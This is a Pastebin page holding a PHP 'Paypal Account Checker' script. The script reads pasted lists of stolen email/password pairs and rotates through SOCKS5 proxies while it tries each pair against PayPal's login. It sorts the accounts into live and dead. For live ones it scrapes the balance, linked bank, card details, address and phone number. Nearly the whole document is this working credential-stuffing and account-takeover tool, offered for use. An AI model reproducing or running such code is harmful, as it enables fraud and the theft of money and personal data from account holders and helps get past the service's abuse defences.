Advertisement
ConsoleX

Script Paypal Checker Use Socks

May 1st, 2014
11,005
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 13.70 KB | None | 0 0
  1. <?php xflush(); ?>
  2. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  3. <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en">
  4. <head>
  5.     <!-- no cache headers -->
  6.  
  7.     <!-- end no cache headers -->
  8.     <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  9. <title>Paypal Account Checker by NewbCorp</title>
  10. <style>
  11. body{
  12.     background:#ddd;
  13.     padding:5px;
  14.     margin:5px;
  15.     font-family:Tahoma;
  16.     font-size:13px;
  17.     color:#0F0317;
  18. }
  19. textarea,input,select
  20. {
  21.     padding: 5px;
  22.     background:#ddf8cc;
  23.     color:darkgreen;
  24.     border:solid gray;
  25. }
  26. input
  27. {
  28.     text-align:center;
  29. }
  30. </style>
  31. </head>
  32. <body><center><h1> Paypal Account Checker by NewbCorp </h1></center><br>
  33. <form method="post">
  34. <div align="center"><textarea name="mp" cols="50"  rows="10"><?php if($_POST['btn-submit']) echo $_POST['mp']; else  echo  '1|mail|pass';?></textarea><textarea  name="socks" cols="30" rows="10"><?php if($_POST['btn-submit'])  echo implode("\n",array_unique(get($_POST['socks'])));?>Socks Here</textarea><br />
  35. Split: <input type="text" name="delim" value="<?php  if($_POST['btn-submit']) echo $_POST['delim']; else echo ':';?>"  size="1" />&nbsp;Email: <input type="text" name="mail"  value="<?php if($_POST['btn-submit']) echo $_POST['mail']; else echo  1;?>" size="1" />&nbsp;Password: <input type="text"  name="pwd" value="<?php if($_POST['btn-submit']) echo $_POST['pwd'];  else echo 2;?>" size="1" />&nbsp;
  36. <input type="checkbox" name="bank" checked="checked" value="1"  />Check Bank&nbsp;<input type="checkbox" name="card"  checked="checked" value="1" />Check Card&nbsp;<input  type="checkbox" name="info" checked="checked" value="1" />Get  Address/Phone<br />
  37. <input type="submit" value=" Submit " name="btn-submit" />
  38. </div>
  39. </form>
  40. <center><br><br><b>NewbienymouZ Corporation</b></center>
  41. <?php
  42. set_time_limit(0);
  43. function curl($url='',$var=''){
  44.     global $config,$sock;
  45.     $curl = curl_init();
  46.     if ($sock) {
  47.         curl_setopt($curl, CURLOPT_HTTPPROXYTUNNEL, true);
  48.         curl_setopt($curl, CURLOPT_PROXY, $sock);
  49.         curl_setopt($curl, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
  50.     }
  51.     curl_setopt($curl, CURLOPT_URL, $url);
  52.     curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 10);
  53.     curl_setopt($curl, CURLOPT_USERAGENT, $config['useragent']);
  54.     curl_setopt($curl, CURLOPT_REFERER, "https://www.paypal.com/");
  55.     if($var) {
  56.         curl_setopt($curl, CURLOPT_POST, true);
  57.         curl_setopt($curl, CURLOPT_POSTFIELDS, $var);
  58.     }
  59.     curl_setopt($curl, CURLOPT_COOKIEFILE,$config['cookie_file']);
  60.     curl_setopt($curl, CURLOPT_COOKIEJAR,$config['cookie_file']);
  61.     curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 2);
  62.     curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);
  63.     curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
  64.     curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
  65.     $result = curl_exec($curl);
  66.     curl_close($curl);
  67.     return $result;
  68. }
  69. function fetch_value($str,$find_start,$find_end)
  70. {
  71.     $start = stripos($str, $find_start);
  72.     if($start===false) return "";
  73.     $length = strlen($find_start);
  74.     $end = stripos(substr($str, $start+$length), $find_end);
  75.     return trim(substr($str, $start+$length, $end));
  76. }
  77. $config['useragent'] = 'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US;  rv:1.9.2.18) Gecko/20110619 Firefox/3.6.18 (Palemoon/3.6.18)'; ///  Iphone 2.21
  78.  
  79. ################# RE-CONFIG ################
  80. $dir = dirname(__FILE__);
  81. $config['cookie_file'] = $dir . '/cookies/'. md5($_SERVER['REMOTE_ADDR']) . '.txt';
  82. if(!file_exists($config['cookie_file'])){
  83.     $fp = @fopen($config['cookie_file'],'w');
  84.     @fclose($fp);
  85. }
  86. #########################################
  87. ################# FUNCTION ################
  88. $zzz = "";
  89. $live = array();
  90. function get($list)
  91. {
  92.     preg_match_all("/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}/", $list, $socks);
  93.     return $socks[0];
  94. }
  95. function delete_cookies(){
  96.     global $config;
  97.     $fp = @fopen($config['cookie_file'],'w');
  98.     @fclose($fp);  
  99. }
  100. function xflush()
  101. {
  102.     static $output_handler = null;
  103.     if ($output_handler === null)
  104.     {
  105.         $output_handler = @ini_get('output_handler');
  106.     }
  107.  
  108.     if ($output_handler == 'ob_gzhandler')
  109.     {
  110.         // forcing a flush with this is very bad
  111.         return;
  112.     }
  113.  
  114.     flush();
  115.     if (function_exists('ob_flush') AND function_exists('ob_get_length') AND ob_get_length() !== false)
  116.     {
  117.         @ob_flush();
  118.     }
  119.     else if (function_exists('ob_end_flush') AND  function_exists('ob_start') AND function_exists('ob_get_length') AND  ob_get_length() !== FALSE)
  120.     {
  121.         @ob_end_flush();
  122.         @ob_start();
  123.     }
  124. }
  125. function isSockClear(){
  126.     global $sock;
  127.     $str =  curl("https://www.paypal.com/xclick/business=paypal%40dreamhost.com&rm=2&item_name=Web    +Hosting+Donation&item_number=donation_13185&amoun    t=10&image_url=https%3A//secure.newdream.net/dreamhostpp.gif&no_shipping=1&no_note=1&return=htt      p%3A//www.dreamhost.com/donate.cgi&cancel_return=&tax=0&currency_code=USD"    );
  128.     if(!$str)
  129.         return -1;
  130.     if(stripos($str,'password')!==false)
  131.         return 0;
  132.     return 1;
  133. }
  134. function display($str){
  135.     echo "<div>$str</div>";
  136. }
  137. function infoCard() {
  138.     global $config,$sock;
  139.     $response =  curl("https://www.paypal.com/us/cgi-bin/webscr?cmd=_profile-credit-card-new-clickthru&flag_from_account_summary=1&nav=0.5.2");
  140.     //echo ' -> Fetching Card';xflush();
  141.     $checkcard = fetch_value($response,'s.prop1="','"');
  142.     if(stripos($checkcard,'ccadd')!==false)
  143.         return false;
  144.     preg_match_all('/<tr>(.+)<\/tr>/siU', $response, $matches);
  145.     $cc = array();
  146.     foreach($matches[1] AS $k => $v){
  147.         if($k>0){
  148.             preg_match_all('/<td>(.+)<\/td>/siU', $v, $m);
  149.             $type = fetch_value($m[1][0],'alt="','"');
  150.             $ccnum = $m[1][1];
  151.             $exp = $m[1][2];
  152.             $cc[] = "$type [$ccnum $exp]";
  153.         }
  154.     }
  155.     $infocard = "<font color=\"#EDAD39\">" . implode("-", $cc) . "</font>";
  156.     return $infocard;
  157. }
  158. function infoBank(){
  159.     global $config,$sock;
  160.     $response = curl("https://www.paypal.com/us/cgi-bin/webscr?cmd=_profile-ach&nav=0.5.1");
  161.     //echo ' -> Fetching Bank';xflush();
  162.     if(stripos($response,'ach_id')!==false)
  163.         return true;
  164.     return false;
  165. }
  166. function info(){
  167.     global $config,$sock;
  168.     $response = curl("https://www.paypal.com/us/cgi-bin/webscr?cmd=_profile-address&nav=0.6.3");
  169.     //echo ' -> Fetching Information';xflush();
  170.     $info = str_replace("<br>",", ",fetch_value($response,'emphasis">','</span>'));
  171.     return substr($info,0,-2);
  172. }
  173. function infoPhone(){
  174.     global $config,$sock;
  175.     $response = curl("https://www.paypal.com/us/cgi-bin/webscr?cmd=_profile-phone&nav=0.6.4");
  176.     //echo ' -> Fetching Phone';xflush();
  177.     $info = strip_tags('<input type="hidden" '. fetch_value($response,'name="phone"','</label>'));
  178.     return $info;
  179. }
  180. if($_POST['btn-submit']){
  181.     xflush();
  182.     $socks = array_unique(get($_POST['socks']));
  183.     $emails = explode("\n",trim($_POST['mp']));
  184.     $sCount = count($socks);
  185.     $eCount = count($emails);
  186.     $failed = $live = $uncheck = array();
  187.     $checked = 0;
  188.     foreach($socks AS $sock){
  189.         if(!count($emails)) break;
  190.         delete_cookies();
  191.         $sockClear = isSockClear();
  192.         if($sockClear==-1){
  193.             display('[<font color="#FF0000">' . $sock . ' => Timeout/Die</font>]');
  194.         }
  195.         elseif($sockClear==0){
  196.             display('[<font color="#FF0000">' . $sock . ' => Blacklist</font>]');
  197.         }
  198.         xflush();
  199.         if($sockClear!=1) continue;
  200.         display('[<font color="#00FF00">' . $sock . ' => OK</font>]');
  201.         xflush();
  202.         $failed[$sock] = 0;
  203.         foreach($emails AS $k => $line){
  204.             $info = explode($_POST['delim'],$line);
  205.             $email = trim($info["{$_POST['mail']}"]);
  206.             $pwd = trim($info["{$_POST['pwd']}"]);
  207.             if(stripos($email,'@')===false || strlen($pwd)<8){
  208.                 unset($emails[$k]);
  209.                 display($email . ' | ' . $pwd . ' -> Wrong Mail/Pass Paypal Format');
  210.                 xflush();
  211.                 continue;
  212.             }
  213.             if($failed[$sock] > 5) break;
  214.             delete_cookies();
  215.             if(!curl("https://www.paypal.com/")){
  216.                 display('[<font color="#FF0000">' . $sock . ' => Timeout/Die</font>]');
  217.                 xflush();
  218.                 break;
  219.             }
  220.             $var = "login_email=" . urlencode($email) .  "&login_password=" . urlencode($pwd) .  "&target_page=0&submit.x=Log+In&form_charset=U    TF-8&bp_mid=v%3D1%3Ba1%3Dna%7Ea2%3Dna%7Ea3%3Dna%7Ea4%    3DMozilla%7Ea5%3DNetscape%7Ea6%3D5.0+%28Windows%3B    +en-US%29%7Ea7%3D20110619%7Ea8%3Dna%7Ea9%3Dtrue%7Ea10%    3DWindows+NT+6.1%7Ea11%3Dtrue%7Ea12%3DWin32%7Ea13%    3Dna%7Ea14%3DMozilla%2F5.0+%28Windows%3B+U%3B+Wind    ows+NT+6.1%3B+en-US%3B+rv%3A1.9.2.18%29+Gecko%2F20110619+Firefox%2F    3.6.18+%28Palemoon%2F3.6.18%29%7Ea15%3Dtrue%7Ea16%    3Den-US%7Ea17%3Dna%7Ea18%3Dwww.paypal.com%7Ea19%3Dna%7E    a20%3Dna%7Ea21%3Dna%7Ea22%3Dna%7Ea23%3D1280%7Ea24%    3D800%7Ea25%3D24%7Ea26%3D770%7Ea27%3Dna%7Ea28%3DTu    e+Nov+22+2011+19%3A23%3A55+GMT%2B0700+%28SE+Asia+S    tandard+Time%29%7Ea29%3D7%7Ea30%3Ddef%7Cqt1%7Cqt2%    7Cqt3%7Cqt4%7Cqt5%7Cqt6%7Cswf%7Crpl%7Crpv%7C%7Ea31    %3Dyes%7Ea32%3Dna%7Ea33%3Dna%7Ea34%3Dno%7Ea35%3Dno    %7Ea36%3Dyes%7Ea37%3Dno%7Ea38%3Donline%7Ea39%3Dno%    7Ea40%3DWindows+NT+6.1%7Ea41%3Dno%7Ea42%3Dno%7E&bp    _ks1=v%3D1%3Bl%3D8%3BDi0%3A68417Ui0%3A82Di1%3A71Di    2%3A70Ui1%3A15Ui2%3A70Di3%3A105Ui3%3A60Di4%3A70Ui4    %3A60Di5%3A103Ui5%3A67Di6%3A329Ui6%3A114Di7%3A66Ui    7%3A94&bp_ks2=&bp_ks3=&browser_name=Firefox&browse    r_version=undefined&browser_version_full=3.6.18&op    erating_system=Windows&flow_name=xpt%2FMarketing_C    ommandDriven%2Fhomepage%2FMainHome&fso_enabled=11"  ;
  221.             $s =  curl("https://www.paypal.com/cgi-bin/webscr?cmd=_login-submit&dispatch=5885d80a13c0db1f8e263663d3faee8db2    b24f7b84f1819343fd6c338b1d9d60", $var);
  222.             if(!$s){
  223.                 display('[<font color="#FF0000">' . $sock . ' => Timeout/Die</font>]');
  224.                 xflush();
  225.                 break;
  226.             }
  227.             if(stripos($s,'security challenge')!==false){
  228.                 display('[<font color="#FF0000">' . $sock . ' => Bad sock</font>]');
  229.                 xflush();
  230.                 break;
  231.             }
  232.             $checked++;
  233.             $error = fetch_value($s,'s.prop14="','"');
  234.             if($error = fetch_value($s,'s.prop14="','"')){
  235.                 unset($emails[$k]);
  236.                 display("<b style='color:red'>Die</b> => $sock | $email | $pwd");
  237.                 $failed[$sock]++;
  238.                 xflush();
  239.                 continue;
  240.             }
  241.             $loggedIn = curl("https://www.paypal.com/us/cgi-bin/webscr?cmd=_account&nav=0.0");
  242.             if(!$loggedIn){
  243.                 display('[<font color="#FF0000">' . $sock . ' => Timeout/Die</font>]');
  244.                 unset($emails[$k]);
  245.                 array_push($emails, $line);
  246.                 xflush();
  247.                 break;
  248.             }
  249.             if(stripos($loggedIn,'class="balance">')!==false){
  250.                 $loggedIn = preg_replace('/<!--google(off|on): all-->/si','',$loggedIn);
  251.                 $loggedIn = preg_replace('/\n+/si','',$loggedIn);
  252.                 $pp = array();
  253.                 $pp['type'] = fetch_value($loggedIn,'s.prop7="','"');
  254.                 $pp['type'] = '<span class="' . $pp['type'] . '">' . ucfirst($pp['type']) . '</span>';
  255.                 $pp['status'] = fetch_value($loggedIn,'s.prop8="','"');
  256.                 $pp['status'] = '<span class="' . $pp['status'] . '">' . ucfirst($pp['status']) . '</span>';
  257.                 if(fetch_value($loggedIn,'s.prop9="','"')!='unrest  ricted')
  258.                     $pp['limited'] = '<font color="red">Limited</font>';
  259.                 $pp['bl'] = fetch_value($loggedIn,'<span class="balance">','</span>');
  260.                 if($pp['bl']){
  261.                     if(stripos($pp['bl'],'strong')!==false)
  262.                         $pp['bl'] = trim(fetch_value($pp['bl'],'<strong>','</strong>'));
  263.                 }
  264.                 else
  265.                     $pp['bl'] = fetch_value($loggedIn,'<span class="balance negative">','</span>');
  266.                 if(!$pp['limited']){
  267.                     if($_POST['bank'])
  268.                         $pp['bank'] = infoBank() ? "Have Bank" : "No Bank";
  269.                     if($_POST['card']){
  270.                         $card = infoCard();
  271.                         $card = ($card) ? $card : "No Card";
  272.                         $pp['card'] = $card;
  273.                     }
  274.                     if($_POST['info']){
  275.                         $pp['address'] = info();
  276.                         $pp['phone'] = infoPhone();
  277.                     }
  278.                 }
  279.                 $pp['lastloggin'] = strip_tags(fetch_value($loggedIn,'<div class="small secondary">','</div>'));
  280.                 $xyz = "<b style='color:yellow'>Live</b> => $sock | $email | $pwd | " . implode(" | ",$pp);
  281.                 $live[] = $xyz;
  282.                 unset($emails[$k]);
  283.                 display($xyz);
  284.                 xflush();
  285.             }
  286.             else{
  287.                 $title = fetch_value($s,'title>','</title>');
  288.                 display("<b style='color:red'>Bad Account</b> => $sock | $email | $pwd | $title");
  289.                 unset($emails[$k]);
  290.                 xflush();
  291.             }
  292.             xflush();
  293.             break;
  294.         }
  295.     }
  296.     display("<h3>Total: $eCount - Checked: $checked - Live: " . count($live) . "</h5>");
  297.     display(implode("<br />",$live));
  298.     if(count($emails)){
  299.         display("Uncheck:");
  300.         display(implode("<br />",$emails));
  301.     }
  302. }
  303. ?>
  304. </body>
  305. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement